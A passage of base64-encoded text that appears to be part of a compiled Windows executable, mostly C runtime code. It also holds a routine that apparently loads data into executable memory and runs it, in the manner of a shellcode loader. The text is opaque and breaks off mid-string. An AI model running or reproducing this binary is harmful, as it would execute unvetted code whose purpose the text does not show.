ABEjWUBTWPkScHkA0yJ4ejYYwAATIst8fwAAEiJx4XtfkIx2w8fhAAAAAAASYtM3QDohmMAAEiNcAFIifHoqmMAAEmJ8EiJBN9Ji1TdAEiJwUiDwwHoimMAAEg53XXNSo1EJ/hIxwAAAAAASIk9mvwAAOjVBQAASIsFLtQAAEyLBX/8AACLDYn8AABIiwBMiQBIixV0/AAA6H8BAACLDVn8AACJBVf8AACFyQ+E2QAAAIsVQfwAAIXSD4SNAAAASIHEmAAAAFteX11BXEFdww8fRAAAD7dEJGDpFv///2YPH0QAAEiLNSHUAAC9AQAAAIsGg/gBD4X7/f//uR8AAADoV2MAAIsGg/gBD4UF/v//SIsVJdQAAEiLDQ7UAADoIWMAAMcGAgAAAIXtD4Xs/f//McBIhwPp4v3//5BMicH/FecNAQDpVv3//2aQ6ANjAACLBan7AABIgcSYAAAAW15fXUFcQV3DDx9EAABIixXp0wAASIsN0tMAAMcGAQAAAOi/YgAA6YD9//+JweiLYgAAkGYuDx+EAAAAAABIg+woSIsFJdQAAMcAAQAAAOi6/P//kJBIg8Qoww8fAEiD7ChIiwUF1AAAxwAAAAAA6Jr8//+QkEiDxCjDDx8ASIPsKOhXYgAASIXAD5TAD7bA99hIg8Qow5CQkJCQkJBIjQ0JAAAA6dT///8PH0AAw5CQkJCQkJCQkJCQkJCQkFVIieVIg+xwiU0QSIlVGOgcBAAASMdF+AAAAADHReQAAAAAx0X0AAAAAMdF8AAAAADHReAAAAAASMdF6AAAAABIx0XYAAAAAMdF1AAAAABMjUXgSI1V2EiNRdRIi00YSIlMJCBEi00QSInB6I8BAACLRdSJwkiNDUTKAADoH2kAAEiLRdhIicJIjQ1FygAA6AxpAACLReCJwkiNDUbKAADo+2gAAEiNDTRqAABIiwW9DAEA/9CJRfSLRfRIx0QkMAAAAABIx0QkKAAAAABIjVXkSIlUJCBBuQAAAABBuAEAAACJwkiNDfVpAABIiwX2CwEA/9CJRfCDffAAD4TsAAAAi0XkicBBuUAAAABBuAAQAABIicK5AAAAAEiLBS8MAQD/0EiJRfhIg334AA+EvgAAAEiLTfiLRfRIx0QkMAAAAABIx0QkKAAAAABIjVXkSIlUJCBJiclBuAEAAACJwkiNDXppAABIiwV7CwEA/9CJRfCDffAAdHtBuQQAAABBuAAQAAC6lkAAALkAAAAASIsFuwsBAP/QSIlF6EyLVfiLTeBIi1XYi0XUTItF6E2JwUGJyInBQf/SiUXwi0XwicJIjQ1ByQAA6NRnAABIjQ1WyQAA6MhnAABIi0XoSInCSI0NXMkAAOi1ZwAA6weQ6wSQ6wGQuAAAAABIg8RwXcNVSInlSIPsMEiJTRBIiVUYTIlFIESJTSiDfSgCdBKDfSgDdAxIi0UwSInB6A4BAABIi0UwSIPACEiLAEiNFQXJAABIicHoR18AAEiFwHQPSItFEMcAAQAAAOnZAAAAx0X8AQAAAItF/DtFKA+NxgAAAItF/EiYSI0UxQAAAABIi0UwSAHQSIsASI0VwMgAAEiJwej6XgAASIXAdDiLRfxImEiNFMUAAAAASItFMEgB0EiLALo6AAAASInB6PFeAABIg8ABSInB6EVfAACJwkiLRSCJEItF/EiYSI0UxQAAAABIi0UwSAHQSIsASI0VY8gAAEiJweiXXgAASIXAdC+LRfxImEiNFMUAAAAASItFMEgB0EiLALo6AAAASInB6I5eAABIjVABSItFGEiJEINF/AHpLv///5BIg8QwXcNVSInlSIPsIEiJTRBIi0UQSIsASInCSI0NBsgAAOhBZgAAuQAAAADol14AAJCQkJCQkJD/JXIJAQCQkA8fhAAAAAAASIPsKEiLBbW2AABIiwBIhcB0Ig8fRAAA/9BIiwWftgAASI1QCEiLQAhIiRWQtgAASIXAdeNIg8Qow2YPH0QAAFZTSIPsKEiLFXPOAABIiwKJwYP4/3Q5hcl0IInIg+kBSI0cwkgpyEiNdML4Dx9AAP8TSIPrCEg583X1SI0Nfv///0iDxChbXumz+///Dx8AMcBmDx9EAABEjUABicFKgzzCAEyJwHXw661mDx9EAACLBcr2AACFwHQGww8fRAAAxwW29gAAAQAAAOlx////kEj/JVkJAQCQkJCQkJCQkJAxwMOQkJCQkJCQkJCQkJCQSIPsKIP6A3QXhdJ0E7gBAAAASIPEKMNmDx+EAAAAAADoywkAALgBAAAASIPEKMOQVlNIg+woSIsFc80AAIM4AnQGxwACAAAAg/oCdBOD+gF0TrgBAAAASIPEKFtew2aQSI0dSRYBAEiNNUIWAQBIOd503w8fRAAASIsDSIXAdAL/0EiDwwhIOd517bgBAAAASIPEKFtew2YPH4QAAAAAAOhLCQAAuAEAAABIg8QoW17DZmYuDx+EAAAAAAAPH0AAMcDDkJCQkJCQkJCQkJCQkFZTSIPseA8RdCRADxF8JFBEDxFEJGCDOQYPh80AAACLAUiNFdzHAABIYwSCSAHQ/+APH4AAAAAASI0dd8cAAPJEDxBBIPIPEHkY8g8QcRBIi3EIuQIAAADoE2IAAPJEDxFEJDBJidhIjRVqxwAA8g8RfCQoSInBSYnx8g8RdCQg6DNcAACQDxB0JEAPEHwkUDHARA8QRCRgSIPEeFtew5BIjR1JxgAA65YPH4AAAAAASI0decYAAOuGDx+AAAAAAEiNHUnGAADpc////w8fQABIjR2pxgAA6WP///8PH0AASI0dccYAAOlT////SI0d7cUAAOlH////kJCQkJCQkJDb48OQkJCQkJCQkJCQkJCQQVRTSIPsOEmJzEiNRCRYuQIAAABIiVQkWEyJRCRgTIlMJGhIiUQkKOgzYQAAQbgbAAAAugEAAABIjQ3RxgAASYnB6ElbAABIi1wkKLkCAAAA6AphAABMieJIicFJidjo1FoAAOhfWwAAkGYPH0QAAEFUVlNIg+xQSGMdtfQAAEmJzIXbD44WAQAASIsFp/QAADHJSIPAGGYPH4QAAAAAAEiLEEw54ncUTItACEWLQAhMAcJJOdQPgocAAACDwQFIg8AoOdl12UyJ4ehRCQAASInGSIXAD4TnAAAASIsFVvQAAEiNHJtIweMDSAHYSIlwIMcAAAAAAOhUCgAAi04MSI1UJCBBuDAAAABIAcFIiwUk9AAASIlMGBj/FfEFAQBIhcAPhH8AAACLRCREjVDAg+K/dAiNUPyD4vt1FIMF8fMAAAFIg8RQW15BXMMPH0AAg/gCSItMJCBIi1QkOEG4BAAAALhAAAAARA9FwEgDHcXzAABIiUsISYnZSIlTEP8VhAUBAIXAdbT/FSoFAQBIjQ3zxQAAicLoZP7//w8fQAAx2+kg////SIsFivMAAItWCEiNDZjFAABMi0QYGOg+/v//TIniSI0NZMUAAOgv/v//kGZmLg8fhAAAAAAADx8AVUFXQVZBVUFUV1ZTSIPsOEiNrCSAAAAAiz0y8wAAhf90FkiNZbhbXl9BXEFdQV5BX13DDx9EAADHBQ7zAAABAAAA6HkIAABImEiNBIBIjQTFDwAAAEiD4PDoogoAAEyLJbvJAABIix3EyQAAxwXe8gAAAAAAAEgpxEiNRCQgSIkF0/IAAEyJ4Egp2EiD+Ad+kYsTSIP4Cw+PKwEAAIXSD4WbAQAAi0MEhcAPhZABAACLUwiD+gEPhcUBAABIg8MMTDnjD4NZ////TIstgMkAAEm+AAAAAP/////rMQ8fQAAPthZIifFJidBJgcgA////hNJJD0jQSCnCSQHX6I/9//9EiD5Ig8MMTDnjc2OLA4tzBA+2UwhMAehMAe5MiziD+iAPhPAAAAAPh8IAAACD+gh0rYP6EA+FOQEAAA+3FkiJ8UmJ0EmByAAA//9mhdJJD0jQSIPDDEgpwkkB1+gu/f//ZkSJPkw543KiDx9EAACLBd7xAACFwA+OpP7//0iLNaMDAQAx20yNZawPH0QAAEiLBcHxAABIAdhEiwBFhcB0DUiLUBBIi0gITYnh/9aDxwFIg8MoOz2Y8QAAfNLpX/7//w8fRAAAhdJ1dItDBInBC0sID4XO/v//i1MMSIPDDOm3/v//Zi4PH4QAAAAAAIP6QA+FfAAAAEiLFkiJ8UgpwkkB1+iG/P//TIk+6fL+//9mDx9EAACLFkiJ0UwJ8oXJSA9J0UiJ8UgpwkkB1+hc/P//RIk+6cj+//8PH0AATDnjD4PZ/f//TIs1AMgAAItzBESLK0iDwwhMAfZEAy5IifHoKPz//0SJLkw543Lg6fv+//9IjQ2MwwAA6J/7//9IjQ1IwwAA6JP7//+QkJBIg+xYSIsFxfAAAEiFwHQs8g8QhCSAAAAAiUwkIEiNTCQgSIlUJCjyDxFUJDDyDxFcJDjyDxFEJED/0JBIg8RYw2ZmLg8fhAAAAAAADx9AAEiJDXnwAADpLFcAAJCQkJBBVEiD7CBIixGLAkmJzInBgeH///8ggflDQ0cgD4S+AAAAPZYAAMAPh5oAAAA9iwAAwHZEBXP//z+D+Al3KkiNFQvDAABIYwSCSAHQ/+BmkLoBAAAAuQgAAADoOVYAAOi8+v//Dx9AALj/////SIPEIEFcww8fQAA9BQAAwA+E3QAAAHY7PQgAAMB03D0dAADAdTQx0rkEAAAA6PlVAABIg/gBD4TjAAAASIXAdBm5BAAAAP/QuP/////rsQ8fQAA9AgAAgHShSIsFwu8AAEiFwHQdTInhSIPEIEFcSP/gkPZCBAEPhTj////pef///5AxwEiDxCBBXMMPH4AAAAAAMdK5CAAAAOiMVQAASIP4AQ+EOv///0iFwHSsuQgAAAD/0Lj/////6UH///8PH0AAMdK5CAAAAOhcVQAASIP4AXXUugEAAAC5CAAAAOhHVQAAuP/////pEv///w8fRAAAMdK5CwAAAOgsVQAASIP4AXQxSIXAD4RM////uQsAAAD/0Lj/////6eH+//+6AQAAALkEAAAA6P1UAACDyP/pyv7//7oBAAAAuQsAAADo5lQAAIPI/+mz/v//kJCQkJCQQVRXVlNIg+woSI0N8O4AAP8VCgABAEiLHcPuAABIhdt0MkiLPT8AAQBIizX4/wAAiwv/10mJxP/WhcB1Dk2F5HQJSItDCEyJ4f/QSItbEEiF23XcSI0Npe4AAEiDxChbXl9BXEj/Jd3/AAAPH0QAAFdWU0iD7CCLBWvuAACJz0iJ1oXAdQpIg8QgW15fw2aQuhgAAAC5AQAAAOiJVAAASInDSIXAdDyJOEiNDVDuAABIiXAI/xVm/wAASIsFH+4AAEiNDTjuAABIiR0R7gAASIlDEP8Vb/8AADHASIPEIFteX8ODyP/rng8fhAAAAAAAU0iD7CCLBe3tAACJy4XAdQ8xwEiDxCBbww8fgAAAAABIjQ3p7QAA/xUD/wAASIsNvO0AAEiFyXQqMdLrDg8fAEiJykiFwHQbSInBiwE52EiLQRB160iF0nQmSIlCEOi1UwAASI0Npu0AAP8V6P4AADHASIPEIFvDDx+EAAAAAABIiQVp7QAA69UPH4AAAAAAU0iD7CCD+gJ0RncshdJ0UIsFUu0AAIXAD4SyAAAAxwVA7QAAAQAAALgBAAAASIPEIFvDDx9EAACD+gN164sFJe0AAIXAdOHoNP7//+vaZpDoi/f//7gBAAAASIPEIFvDiwUC7QAAhcB1VosF+OwAAIP4AXWzSIsd5OwAAEiF23QYDx+AAAAAAEiJ2UiLWxDo9FIAAEiF23XvSI0N4OwAAEjHBbXsAAAAAAAAxwWz7AAAAAAAAP8V3f0AAOlo////6Lv9///ro2YPH4QAAAAAAEiNDansAAD/Fdv9AADpPP///5CQkJCQkJCQkJCQkJCQMcBmgTlNWnUPSGNRPEgB0YE5UEUAAHQIww8fgAAAAAAxwGaBeRgLAg+UwMMPH0AASGNBPEmJ0EiNFAgPt0IUSI1EAhgPt1IGhdJ0MIPqAUiNFJJMjUzQKA8fhAAAAAAAi0gMSInKTDnBdwgDUAhMOcJ3C0iDwChMOch15DHAw5BBVFZTSIPsIEiJy+jAUQAASIP4CHd6SIsVk8IAAEUx5GaBOk1adVdIY0I8SAHQgThQRQAAdUhmgXgYCwJ1QA+3UBRMjWQQGA+3QAaFwHRBg+gBSI0EgEmNdMQo6wwPHwBJg8QoSTn0dCdBuAgAAABIidpMieHoTlEAAIXAdeJMieBIg8QgW15BXMNmDx9EAABFMeRMieBIg8QgW15BXMOQSIsVCcIAADHAZoE6TVp1EExjQjxJAdBBgThQRQAAdAjDDx+AAAAAAGZBgXgYCwJ170EPt0AUSCnRQQ+3UAZJjUQAGIXSdC6D6gFIjRSSTI1M0CgPH0QAAESLQAxMicJMOcFyCANQCEg50XK0SIPAKEw5yHXjMcDDDx+EAAAAAABIiwWJwQAARTHAZoE4TVp1D0hjUDxIAdCBOFBFAAB0CESJwMMPH0AAZoF4GAsCdfBED7dABkSJwMMPH4AAAAAATIsFScEAADHAZkGBOE1adQ9JY1A8TAHCgTpQRQAAdAjDDx+AAAAAAGaBehgLAnXwD7dCFEiNRAIYD7dSBoXSdCeD6gFIjRSSSI1U0CgPHwD2QCcgdAlIhcl0xUiD6QFIg8AoSDnQdegxwMMPH0QAAEiLBdnAAABFMcBmgThNWnUPSGNQPEgBwoE6UEUAAHQITInAww8fQABmgXoYCwJMD0TATInAw2YuDx+EAAAAAABIiwWZwAAARTHAZoE4TVp1D0hjUDxIAcKBOlBFAAB0CESJwMMPH0AAZoF6GAsCdfBIKcEPt0IUSI1EAhgPt1IGhdJ03IPqAUiNFJJMjUzQKESLQAxMicJMOcFyCANQCEg50XIUSIPAKEk5wXXjRTHARInAww8fQABEi0AkQffQQcHoH0SJwMNmDx+EAAAAAABMix0JwAAARTHJZkGBO01adRBNY0M8TQHYQYE4UEUAAHQOTInIw2YuDx+EAAAAAABmQYF4GAsCdelBi4CQAAAAhcB03kEPt1AUSY1UEBhFD7dABkWFwHTKQYPoAU+NBIBOjVTCKA8fAESLSgxNichMOchyCUQDQghMOcByE0iDwihJOdJ14kUxyUyJyMMPHwBMAdjrCg8fAIPpAUiDwBREi0AERYXAdQeLUAyF0nTXhcl/5USLSAxNAdlMicjDkJBRUEg9ABAAAEiNTCQYchlIgekAEAAASIMJAEgtABAAAEg9ABAAAHfnSCnBSIMJAFhZw5CQkJCQkJCQkJCQkJCQQVVBVFNIg+wwTInDSYnMSYnV6GlUAABIiVwkIE2J6UUxwEyJ4rkAYAAA6GEcAABMieFBicXotlQAAESJ6EiDxDBbQVxBXcOQkJCQkJCQkJBIg+xYRItaCEyLEkyJ2GYl/38PhZAAAABNidMPt0IIScHrIEUJ2nRwRYXbD4nPAAAAQYnCx0QkRAEAAABmQYHi/39mQYHqPkBFD7/SDx9AACUAgAAATIucJIAAAABBiQNIjUQkSEyJTCQwTI1MJEREiUQkKEmJ0ESJ0olMJCBIjQ1LpgAASIlEJDjowScAAEiDxFjDDx9AAMdEJEQAAAAARTHS66sPHwBmPf9/dBIPt0II6Xr///9mDx+EAAAAAABMidBIweggJf///39ECdB0F8dEJEQEAAAARTHSMcDpcv///w8fRAAAx0QkRAMAAAAPt0IIRTHS6VT///8PH0AAx0QkRAIAAABBusO////pPf///2ZmLg8fhAAAAAAAZpBTSIPsIEiJ04tSCPbGQHUIi0MkOUMofhNMiwOA5iB1IEhjQyRBiAwAi0Mkg8ABiUMkSIPEIFvDZg8fhAAAAAAATInC6MhMAACLQySDwAGJQyRIg8QgW8NmDx+EAAAAAABBVkFVQVRVV1ZTSIPsQEyNbCQoTI1kJDBMicNIic2J102J6DHSTInh6PNQAACLQxCFwHgFOccPT/iLQww5+A+PxQAAAMdDDP////+F/w+O/AAAAA8fRAAAD7dVAE2J6EyJ4UiDxQLotVAAAIXAfn6D6AFMieZNjXQEAesaDx9AAEhjQyRBiAwAi0Mkg8ABiUMkTDn2dDaLUwhIg8YB9sZAdQiLQyQ5Qyh+4Q++Tv9MiwOA5iB0ykyJwujySwAAi0Mkg8ABiUMkTDn2dcqD7wF1h4tDDI1Q/4lTDIXAfhxmkEiJ2rkgAAAA6LP+//+LQwyNUP+JUwyFwH/mSIPEQFteX11BXEFdQV7DKfiJQwz2QwkEdSuD6AGJQwxmDx9EAABIidq5IAAAAOhz/v//i0MMjVD/iVMMhcB15ukM////hf8PjxH///+D6AGJQwzrkcdDDP7////rog8fhAAAAAAAV1ZTSIPsIEGLQBBIic6J10yJw4XAeAU5wg9P+ItDDDn4D4/BAAAAx0MM/////4X/D4SfAAAAi0MIg+8BSAH36yMPH4AAAAAASGNDJIgMAotTJIPCAYlTJEg593REi0MISIPGAfbEQHUIi1MkOVMofuEPvg5IixP2xCB0zOjPSgAAi1Mk68xmLg8fhAAAAAAASGNDJMYEAiCLUySDwgGJUySLQwyNUP+JUwyFwH4ui0MI9sRAdQiLUyQ5Uyh+3UiLE/bEIHTKuSAAAADogEoAAItTJOvGx0MM/v///0iDxCBbXl/DDx9AACn4iUMMicKLQwj2xAR1KY1C/4lDDA8fAEiJ2rkgAAAA6DP9//+LQwyNUP+JUwyFwHXm6Q////+Qhf8PhRH///+D6gGJUwzrgUFUU0iD7ChIjQXCtgAASYnMSIXJSInTSGNSEEwPROBMieGF0nga6CVJAABIicJJidhMieFIg8QoW0Fc6ZD+///oi0kAAOvkZg8fhAAAAAAASIPsOEWLSAhBx0AQ/////0mJ0oXJdEnGRCQsLUiNTCQtTI1cJCxBg+EgMdJBD7YEEoPg30QJyIgEEUiDwgFIg/oDdehIjVEDTInZTCna6C3+//+QSIPEOMMPH4AAAAAAQffBAAEAAHQXxkQkLCtIjUwkLUyNXCQs66xmDx9EAABB9sFAdBrGRCQsIEiNTCQtTI1cJCzrj2YPH4QAAAAAAEyNXCQsTInZ6Xn///8PHwBVQVdBVkFVQVRXVlNIg+w4SI2sJIAAAABBic5MicOD+W8PhDkDAABFi3gQuAAAAABBi3gIRYX/QQ9Jx4PAEvfHABAAAA+FxgEAAESLawxEOehBD0zFSJhIg8APSIPg8Oj8+f//uQQAAABBuA8AAABIKcRMjWQkIEyJ5kiF0g+E9QEAAEWJ8UGD4SBmDx9EAABEicBIg8YBIdBEjVAwg8A3RAnIRYnTQYD6OkEPQsNI0+qIRv9IhdJ110w55g+EtgEAAEWF/w+OxQEAAEiJ8EWJ+Ewp4EEpwEWFwA+OsAEAAElj+EiJ8bowAAAASYn4SAH+6PpHAABMOeYPhK0BAABIifBMKeBEOegPjLoBAADHQwz/////QYP+bw+EIQIAAEG9//////ZDCQgPhVEDAABJOfQPg78AAACLewhFjXX/6x8PH4AAAAAASGNDJIgMAotDJIPAAYlDJEw55nY4i3sISIPuAffHAEAAAHUIi0MkOUMoft6B5wAgAAAPvg5IixN0xuiZRwAAi0Mkg8ABiUMkTDnmd8hFhe1/I+tbDx9AAEhjQyTGBAIgi0Mkg8ABiUMkQY1G/0WF9n49QYnGi3sI98cAQAAAdQiLQyQ5Qyh+24HnACAAAEiLE3TFuSAAAADoO0cAAItDJIPAAYlDJEGNRv9FhfZ/w0iNZbhbXl9BXEFdQV5BX13DDx+EAAAAAABmQYN4IAC5BAAAAA+ELwIAAEGJwEG5q6qqqkSLawxND6/BScHoIUQBwEQ56EEPTMVImEiDwA9Ig+Dw6BH4//9IKcRMjWQkIEGD/m8PhEkBAABBuA8AAABMieZIhdIPhRD+//8PH0QAAIHn//f//4l7CEWF/w+PQf7//2YPH0QAAEGD/m8PhB4BAABMOeYPhVz+//9Fhf8PhFP+///GBjBIg8YBSInwTCngRDnoD41M/v//Zg8fRAAAQSnFi3sIRIlrDEGD/m8PhPQAAAD3xwAIAAAPhBgBAABBg+0CRYXtfglFhf8PiPYBAABEiDZIg8YCxkb/MEWF7Q+OIf7//4t7CEWNdf/3xwAEAAAPhfgAAAAPH4AAAAAASInauSAAAADo2/j//0SJ8EGD7gGFwH/oQb7+////Qb3/////TDnmD4cI/v//6Z3+//9mDx9EAABFi3gQuAAAAABBi3gIRYX/QQ9Jx4PAGPfHABAAAA+FrQAAAESLawxBOcVBD03FSJhIg8APSIPg8OjD9v//uQMAAABIKcRMjWQkIEG4BwAAAOnC/P//Dx8A9kMJCA+E2P7//8YGMEiDxgHpzP7//2aQRYX/D4i3AAAARY11//fHAAQAAA+EP////0w55g+Hbv3//+nJ/f//Zg8fhAAAAAAARYX/D4jnAAAARY11//fHAAQAAA+ED////0k59A+CPv3//+mZ/f//Zg8fhAAAAAAAZkGDeCAAD4TTAAAAuQMAAADp2/3//2YuDx+EAAAAAABEi2sMRDnoQQ9MxUiYSIPAD0iD4PDo9vX//0G4DwAAAEgpxEyNZCQg6er9//8PHwBEiDZIg8YCxkb/MOmf/P//ifglAAYAAD0AAgAAD4U3////RY1N/0iJ8bowAAAARY15AUSJTaxNY/9NifhMAf7oLEQAAESLTaxFKelFic1Bg/5vD4Qt/v//gecACAAAD4Qh/v//6RH+//8PH4AAAAAAifglAAYAAD0AAgAAdKT3xwAIAAAPhfD9///p+v7//0SLawxEOehBD0zF6W/+//+QVUFXQVZBVUFUV1ZTSIPsKEiNrCSAAAAAuAAAAABEi3IQi3oIRYX2QQ9JxkiJ04PAF/fHABAAAHQLZoN6IAAPhTwCAACLcww5xg9NxkiYSIPAD0iD4PDo5fT//0gpxEyNZCQgQPbHgHQQSIXJD4hOAgAAQIDnf4l7CEiFyQ+EFgMAAEm7AwAAAAAAAIBBifpNieBJuc3MzMzMzMzMQYHiABAAAA8fRAAATY1oAU05xHQvRYXSdCpmg3sgAHQjTInATCngTCHYSIP4A3UUSY1AAkHGACxNiehJicVmDx9EAABIichJ9+FIichIweoDTI08kk0B/0wp+IPAMEGIAEiD+Ql2DUiJ0U2J6OudDx9EAABFhfYPjrcBAABMiehFifBMKeBBKcBFhcB+Fk1j+EyJ6bowAAAATYn4TQH96JBCAABNOewPhJ8BAACF9n4zTInoTCngKcaJcwyF9n4k98fAAQAAD4WYAQAARYX2D4ieAQAA98cABAAAD4TbAQAADx8AQPbHgA+E1gAAAEHGRQAtSY11AUk59HIg61NmDx9EAABIY0MkiAwCi0Mkg8ABiUMkSTn0dDiLewhIg+4B98cAQAAAdQiLQyQ5Qyh+3oHnACAAAA++DkiLE3TG6CFCAACLQySDwAGJQyRJOfR1yItDDOsaZg8fRAAASGNDJMYEAiCLUySLQwyDwgGJUySJwoPoAYlDDIXSfjCLSwj2xUB1CItTJDlTKH7eSIsTgOUgdMi5IAAAAOjGQQAAi1Mki0MM68RmDx9EAABIjWWoW15fQVxBXUFeQV9dww8fgAAAAAD3xwABAAB0OEHGRQArSY11Aekd////Zi4PH4QAAAAAAInCQbirqqqqSQ+v0EjB6iEB0Omt/f//Zg8fhAAAAAAATInuQPbHQA+E5v7//0HGRQAgSIPGAenY/v//Dx9EAABI99npuv3//w8fhAAAAAAATTnsD4Vw/v//RYX2D4Rn/v//Zg8fRAAAQcZFADBJg8UB6VP+//9mLg8fhAAAAAAAg+4BiXMMRYX2D4li/v//ifglAAYAAD0AAgAAD4VQ/v//i1MMjUL/iUMMhdIPjk7+//9IjXABTInpujAAAABJifBJAfXoh0AAAMdDDP/////pK/7//w8fAItDDI1Q/4lTDIXAD44X/v//Dx+AAAAAAEiJ2rkgAAAA6HPz//+LQwyNUP+JUwyFwH/mi3sI6e79//9mDx9EAABNieVFifBFhfYPj4P9///pLf///w8fQABVQVRXVlNIieVIg+wwg3kU/UmJzA+E5gAAAA+3URhmhdIPhLkAAABJY0QkFEiJ5kiDwA9Ig+Dw6FTx//9IKcRMjUX4SMdF+AAAAABIjVwkIEiJ2ehoRAAAhcAPjuAAAACD6AFIjXwDAeshZg8fRAAASWNEJCRBiAwAQYtEJCSDwAFBiUQkJEg533RBQYtUJAhIg8MB9sZAdQxBi0QkJEE5RCQoftkPvkv/TYsEJIDmIHS+TInC6JY/AABBi0QkJIPAAUGJRCQkSDnfdb9IifRIiexbXl9BXF3DDx+AAAAAAEyJ4rkuAAAA6FPy//+QSInsW15fQVxdww8fhAAAAAAASMdF+AAAAABIjV346Cc/AABIjU32SYnZQbgQAAAASIsQ6CpBAACFwH4uD7dV9mZBiVQkGEGJRCQU6eD+//9mkEyJ4rkuAAAA6PPx//9IifTpev///w8fAEEPt1QkGOvUVVdWU0iD7ChBi0EMic1IiddEicZMictFhcAPjhACAABBOcAPjvcAAADHQwz/////uP/////2QwkQdE1mg3sgAA+ECgEAALqrqqqqRI1GAkwPr8KJwknB6CFBjUj/KcFBg/gBdRvp5gAAAGYPH0QAAIPqAYnIAdCJUwwPhCoDAACF0n/sDx9AAIXtD4UiAQAAi1MI9sYBD4WEAgAAg+JAD4XzAgAAi0MMhcB+FYtTCIHiAAYAAIH6AAIAAA+EdwIAAEiNayCF9g+OuwEAAA8fAA+2B7kwAAAAhMB0B0iDxwEPvshIidro9fD//4PuAQ+E1AAAAPZDCRB01maDeyAAdM9pxquqqqo9VVVVVXfCSYnYugEAAABIienoIvH//+uwQYtREEQpwDnQD476/v//KdCJQwyF0g+OtAEAAIPoAYlDDIX2fgr2QwkQD4Xr/v//hcAPjjD///+F7Q+F+AAAAItTCPfCwAEAAA+E8QEAAIPoAYlDDA+EGP////bGBg+FD////4PoAYlDDGYPH0QAAEiJ2rkgAAAA6EPw//+LQwyNUP+JUwyFwH/mhe0PhN7+//9Iidq5LQAAAOgh8P//6eH+//8PH0AAi0MQhcB/GfZDCQh1E4PoAYlDEEiDxChbXl9dww8fQABIidnosPz//+shZg8fRAAAD7YHuTAAAACEwHQHSIPHAQ++yEiJ2ujN7///i0MQjVD/iVMQhcB/2EiDxChbXl9dww8fgAAAAACFwA+OSAEAAIPoAYtTEDnQD4/p/v//x0MM/////+k2/v//Zg8fRAAAg+gBiUMMD4RO////90MIAAYAAA+EE////0iJ2rktAAAA6GLv///pIv7//w8fRAAASInauTAAAADoS+///4tDEIXAfxT2QwkIdQ6F9nUd6Sr///8PH0QAAEiJ2ejo+///hfYPhFP///+LQxAB8IlDEA8fhAAAAAAASInauTAAAADoA+///4PGAXXu6Sz///9mDx+EAAAAAACLUwj2xggPhUD+//+F9g+OVP7//4DmEA+ES/7//2aDeyAAD4RA/v//6Sn9//8PHwBIidq5KwAAAOiz7v//6XP9//9mDx9EAACD6AGJQwxmkEiJ2rkwAAAA6JPu//+LQwyNUP+JUwyFwH/m6WL9//+Q9sYGD4Uq/f//i0MMjUj/iUsMhcAPjhn9///pEf7//5APhLX+///HQwz/////6fb8//9mDx9EAABIidq5IAAAAOg77v//6fv8//+J0Omf/f//ZmYuDx+EAAAAAAAPH0AAQVVBVFNIg+wgQboBAAAAQYPoAUGJy02JzE1j6EHB+B9Jac1nZmZmSMH5IkQpwXQbSGPBwfkfQYPCAUhpwGdmZmZIwfgiKciJwXXlQYtEJCyD+P91DkHHRCQsAgAAALgCAAAARDnQRInTRYtEJAxNieEPTdhEicCNSwIpyEE5yLn/////QbgBAAAAD07BRInZQYlEJAzopvv//0GLTCQIQYtEJCxMieJBiUQkEInIg+EgDcABAACDyUVBiUQkCOhd7f//RI1TAUyJ4kyJ6UUBVCQMSIPEIFtBXEFd6VD2//9BVFNIg+xoRItCENspSInTRYXAeGtBg8ABSI1EJEjbfCRQ8w9vRCRQSI1UJDBMjUwkTLkCAAAASIlEJCAPEUQkMOja6///RItEJExJicRBgfgAgP//dDmLTCRISYnZSInC6Lr+//9MieHoYhIAAJBIg8RoW0Fcw2YPH4QAAAAAAMdCEAYAAABBuAcAAADripCLTCRISYnYSInC6OHv//9MieHoKRIAAJBIg8RoW0Fcw0FUU0iD7GhEi0IQ2ylIidNFhcB5DcdCEAYAAABBuAYAAABIjUQkSNt8JFDzD29EJFBIjVQkMEyNTCRMuQMAAABIiUQkIA8RRCQw6CHr//9Ei0QkTEmJxEGB+ACA//90aItMJEhIicJJidnoQfr//4tDDOsYDx9AAEhjQyTGBAIgi1Mki0MMg8IBiVMkicKD6AGJQwyF0n4/i0sI9sVAdQiLUyQ5Uyh+3kiLE4DlIHTIuSAAAADo5jgAAItTJItDDOvEZg8fRAAAi0wkSEmJ2EiJwuj57v//TInh6EERAACQSIPEaFtBXMMPH4QAAAAAAEFUVlNIg+xgRItCENspSInTRYXAD4j+AAAAD4TgAAAASI1EJEjbfCRQ8w9vRCRQSI1UJDBMjUwkTLkCAAAASIlEJCAPEUQkMOgz6v//i3QkTEmJxIH+AID//w+E0AAAAItDCCUACAAAg/79fEuLUxA51n9EhcAPhMwAAAAp8olTEItMJEhJidlBifBMieLoLfn//+sQDx8ASInauSAAAADo++r//4tDDI1Q/4lTDIXAf+brKA8fQACFwHU0TInh6Jw3AACD6AGJQxCLTCRISYnZQYnwTIni6KT8//9MieHoTBAAAJBIg8RgW15BXMNmkItDEIPoAevPDx+EAAAAAADHQhABAAAAQbgBAAAA6Q7///9mDx9EAADHQhAGAAAAQbgGAAAA6fb+//9mDx9EAACLTCRISYnYSInC6KHt///rmw8fgAAAAABMieHoEDcAACnwiUMQD4km////i1MMhdIPjhv///8B0IlDDOkR////QVVBVFVXVlNIg+xYTIsRRItZCEUPv8NMid5DjQwASYnUTInSD7fJSMHqIIHi////f0QJ0onQ99gJ0MHoHwnIuf7/AAApwcHpEA+F2QIAAGZFhdsPiNcBAABmgeb/fw+FpAEAAE2F0g+FMwMAAEGLVCQQg/oOD4b1AQAAQYtMJAhIjXwkMEGLRCQQhcAPjp4EAADGRCQwLkiNRCQxxgAwSI1YAUWLVCQMvQIAAABFhdIPjooAAABBi1QkEEmJ2Q+/xkkp+UaNBAqF0onKRQ9PyIHiwAEAAIP6AUgPv9ZBg9n6SGnSZ2ZmZsH4H0WJyEjB+iIpwnQvZi4PH4QAAAAAAEhjwkGDwAHB+h9IacBnZmZmQY1oAkQpzUjB+CIp0InCdd4Pv+1FOcIPjmoDAABFKcL2xQYPhK4DAABFiVQkDJD2wYAPhTcDAAD2xQEPhV4DAACD4UAPhXUDAABMieK5MAAAAOjI6P//QYtMJAhMieKD4SCDyVjotej//0GLRCQMhcB+MkH2RCQJAnQqg+gBQYlEJAwPH0AATIniuTAAAADoi+j//0GLRCQMjVD/QYlUJAyFwH/iTI1sJC5IOft3JemQAQAADx8AQQ+3RCQgZolEJC5mhcAPhXQCAABIOfsPhHABAAAPvkv/SIPrAYP5Lg+E+gEAAIP5LHTNTIni6C3o///r1w8fAGaB/v9/dUGF0nU9RInBSI0V3qEAAE2J4IHhAIAAAOkJAQAADx9EAABBgUwkCIAAAAB